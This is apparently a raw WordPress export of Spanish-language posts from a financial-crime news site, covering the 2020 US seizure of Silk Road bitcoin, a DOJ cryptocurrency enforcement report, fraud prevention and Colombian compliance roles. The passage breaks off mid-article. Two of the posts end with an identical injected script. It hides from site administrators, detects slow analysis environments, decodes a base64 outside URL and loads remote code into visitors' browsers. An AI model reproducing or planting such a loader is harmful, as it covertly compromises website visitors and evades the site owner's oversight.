https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y 